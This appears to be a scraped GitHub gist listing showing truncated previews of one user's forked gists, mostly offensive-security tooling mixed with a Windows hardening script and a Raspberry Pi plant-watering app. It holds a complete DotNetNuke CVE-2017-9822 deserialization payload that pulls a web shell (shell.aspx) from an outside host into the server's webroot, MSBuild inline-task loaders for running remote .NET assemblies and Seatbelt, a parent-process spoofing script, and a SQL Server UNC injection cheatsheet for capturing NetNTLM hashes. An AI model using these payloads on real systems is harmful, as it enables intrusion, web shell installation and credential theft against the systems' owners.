unbaiat’s gists

unbaiat / msBuildDemo.xml

Created November 28, 2018 05:30 — forked from G0ldenGunSec/msBuildDemo.xml

MSBuild payload used to execute a remotely-hosted .net assembly

	<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
	<Target Name="DemoClass">
	<ClassExample />
	</Target>
	<UsingTask
	TaskName="ClassExample"
	TaskFactory="CodeTaskFactory"
	AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
	<Task>
	<Code Type="Class" Language="cs">

unbaiat / findsubdomains.py

Created November 22, 2018 14:38 — forked from PaulSec/findsubdomains.py

Python utility for https://findsubdomains.com/

	import requests
	import sys
	from bs4 import BeautifulSoup
	import json
	import re

	def sanitize_data(data):
	return data.replace('\r\n', '').replace('\n', '').replace(' ', '').replace(' ', '')

	if len(sys.argv) < 2:

unbaiat / DotNetNuke CVE-2017-9822 PoC

Created November 9, 2018 05:41 — forked from GlitchWitch/DotNetNuke CVE-2017-9822 PoC

DNNPersonalization=<profile><item key="name1:key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils], [System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>PullFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">http://ctf.pwntester.com/shell.aspx</anyType><anyType xsi:type="xsd:string">C:\inetpub\wwwroot\dotnetnuke\shell.aspx</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>;language=en-us

unbaiat / windows_hardening.cmd

Created October 28, 2018 20:19 — forked from mackwage/windows_hardening.cmd

Script to perform some hardening of Windows OS

	::
	::#######################################################################
	::
	:: Change file associations to protect against common ransomware attacks
	:: Note that if you legitimately use these extensions, like .bat, you will now need to execute them manually from cmd or powershell
	:: Alternatively, you can right-click on them and hit 'Run as Administrator' but ensure it's a script you want to run :)
	:: ---------------------
	ftype htafile="%SystemRoot%\system32\NOTEPAD.EXE" "%1"
	ftype WSHFile="%SystemRoot%\system32\NOTEPAD.EXE" "%1"
	ftype batfile="%SystemRoot%\system32\NOTEPAD.EXE" "%1"

unbaiat / msbuild_ghostpack_seatbelt.txt

Created October 28, 2018 07:03 — forked from curi0usJack/msbuild_ghostpack_seatbelt.txt

	<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
	<Target Name="NotSubTee">
	<BusinessTime />
	</Target>
	<UsingTask
	TaskName="BusinessTime"
	TaskFactory="CodeTaskFactory"
	AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
	<ParameterGroup/>
	<Task>

unbaiat / GetSystem.ps1

Created May 17, 2018 10:10

PowerShell GetSystem => Test for MITRE ATT&CK T 1134

	<#

	$owners = @{}
	gwmi win32_process \|% {$owners[$_.handle] = $_.getowner().user}
	get-process \| select processname,Id,@{l="Owner";e={$owners[$_.id.tostring()]}}

	#>

	#Simple powershell/C# to spawn a process under a different parent process
	#Launch PowerShell As Administrator

unbaiat / water.py

Created May 7, 2018 13:45 — forked from benrules2/water.py

	# External module imp
	import RPi.GPIO as GPIO
	import datetime
	import time

	init = False

	GPIO.setmode(GPIO.BOARD) # Broadcom pin-numbering scheme

	def get_last_watered():

unbaiat / auto_water.py

Created May 7, 2018 13:44 — forked from benrules2/auto_water.py

	import water

	if __name__ == "__main__":
	water.auto_water()

unbaiat / main.html

Created May 7, 2018 13:44 — forked from benrules2/main.html

	<!DOCTYPE html>
	<head>
	<title>{{ title }}</title>
	</head>

	<body>
	<h1>PLANT HELPLINE</h1>
	<h2>The date and time on the server is: {{ time }}</h2>
	<h2> {{ text }} </h2>
	<a href="/auto/water/ON"><button>Turn ON Auto Watering</button></a>

unbaiat / SQL Server UNC Path Injection Cheatsheet

Created April 7, 2018 12:44 — forked from nullbind/SQL Server UNC Path Injection Cheatsheet

SQL Server UNC Path Injection Cheatsheet

	This is a list of SQL Server commands that support UNC path [injections] by default.
	The injections can be used to capture or replay the NetNTLM password hash of the
	Windows account used to run the SQL Server service. The SQL Server service account
	has sysadmin privileges by default in all versions of SQL Server.

	Note: This list is most likely not complete.

	-----------------------------------------------------------------------
	-- UNC Path Injections Executable by the Public Fixed Server Role
	-----------------------------------------------------------------------

unbaiat unbaiat